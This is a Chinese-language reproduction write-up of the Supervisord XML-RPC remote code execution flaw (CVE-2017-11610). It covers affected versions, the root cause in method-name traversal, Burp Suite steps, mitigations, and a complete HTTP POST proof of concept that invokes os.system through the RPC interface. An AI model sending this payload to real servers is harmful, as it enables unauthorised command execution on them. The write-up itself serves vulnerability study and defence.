Supervisord 远程代码执行漏洞(CVE-2017-11610)漏洞复现

复现视频链接:https://www.ichunqiu.com/course/58895

如下内容为复现及笔记

Supervisord 远程代码执行漏洞(CVE-2017-11610)漏洞复现

0x01 漏洞信息

Supervisord是使用Python 开发的进程管理程序,Supervisord能够将命令行进程或服务变为后台运行的deamon(守护进程)。Supervisord拥有监控进程状态的功能,在进程异常退出时能够自动重启进程。

Supervisord在配置了Web接口后,服务器会启动一个XMLRPC服务器,端口号为9001,利用本漏洞,在获取接口访问权限后,远程攻击者可利用发送一段精心构造的请求,导致可在服务器执行任意代码。

 

0x02 漏洞影响版本

Supervisord 3.1.2 <= Version <= 3.3.2

 

0x03 已经修复的版本

Supervisord 3.3.3 、Supervisord 3.2.4 、Supervisord 3.1.4 、Supervisord 3.0.1

 

0x04 漏洞分析

Supervisord的控制实际上就是一个C/S以RPC协议的通信的过程,而RPC协议(远程过程调用协议),顾名思义就是客户端通过RPC协议可以在服务端执行某个函数,并得到返回结果。那么,如果客户端执行了服务端预料之外的函数(如os.system),就会导致漏洞的产生。

一个安全的RPC协议,会有一个函数名的映射,客户端只能调用在白名单之中的部分函数,并且这个“函数”只是真正函数的一个映射。

3.3.2版本中Supervisord是如何处理RPC调用如下:

代码逻辑如下:

  1. 将method用点号分割成数组path
  2. 遍历这个数组,每次获得一个name
  3. 如果name不以下划线开头,则获取ob对象的name属性,其作为新的ob对象
  4. 遍历完成后获得最终的ob对象,调用

实际上这个函数最后达成的效果就是:初始ob对象下的任意public方法,包括它的所有递归子对象的任意public方法,都可以被调用。

 

0x05 漏洞形成原因

ob对象即为self.rpcinterface,官方开发者可能认为可调用的方法只限制在这个对象内部,所以未做特别严格的白名单限制。导致调用存在的其他对象的方法,可以执行任意命令。

 

0x06 漏洞复现

1. 漏洞文件下载

 

2. 打开burpsuite工具,开启浏览器代理。

 

3. 访问目标地址

右击,选择Send to Repeater,将数据包发送至重放模块,点击Repeater查看本次需要修改的数据包。

 

 

4. 发包

发包执行成功

 

5. 使用POC查看命令是否执行

已经创建了hello文件,代码执行成功,

 

6. 漏洞复现完成

 

0x07 POC分析

漏洞利用模块查找方向:在非下划线开头的属性中可利用的模块。

 

漏洞发现者找到的self.rpcinterface.supervisor.supervisord.options.execve其实仍有缺陷,原因是Python的os.execve函数会使用新进程取代现有的进程,会导致Supervisord本身退出。

 

此实验中调用的对象方法为如下

supervisor.supervisord.options.warnings.linecache.os.system

 

POC代码如下:

 

POST /RPC2 HTTP/1.1

Host: localhost

Accept: */*

Accept-Language: en

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 275

 

<?xml version="1.0"?>

<methodCall>

<methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>

<params>

<param>

<string>touch /tmp/hello</string>

</param>

</params>

</methodCall>

 

此为实验中的POC文档

基于上述构造的数据包Poc,可更换一个思路,将命令执行的结果写入log文件中,再调用Supervisord自带的readLog方法读取log文件,最终将结果显示出来。Poc代码如下图

 

0x08 漏洞影响与修复

漏洞形成条件:

Supervisord版本在受影响的范围内

RPC端口可被访问

RPC无密码或密码脆弱

 

默认安装的Supervisord,是只监听unix套接字的,所以外部IP无法访问,而且supervisord.sock文件权限默认是0700,其他用户是无法访问。但是如果开放了RPC端口,并且使用了默认密码或未设置密码,也是可以通过该漏洞进行利用的。对于一切漏洞我们都要做到防范于未然。

 

修复漏洞:

升级Supervisord

端口访问控制

设置复杂RPC密码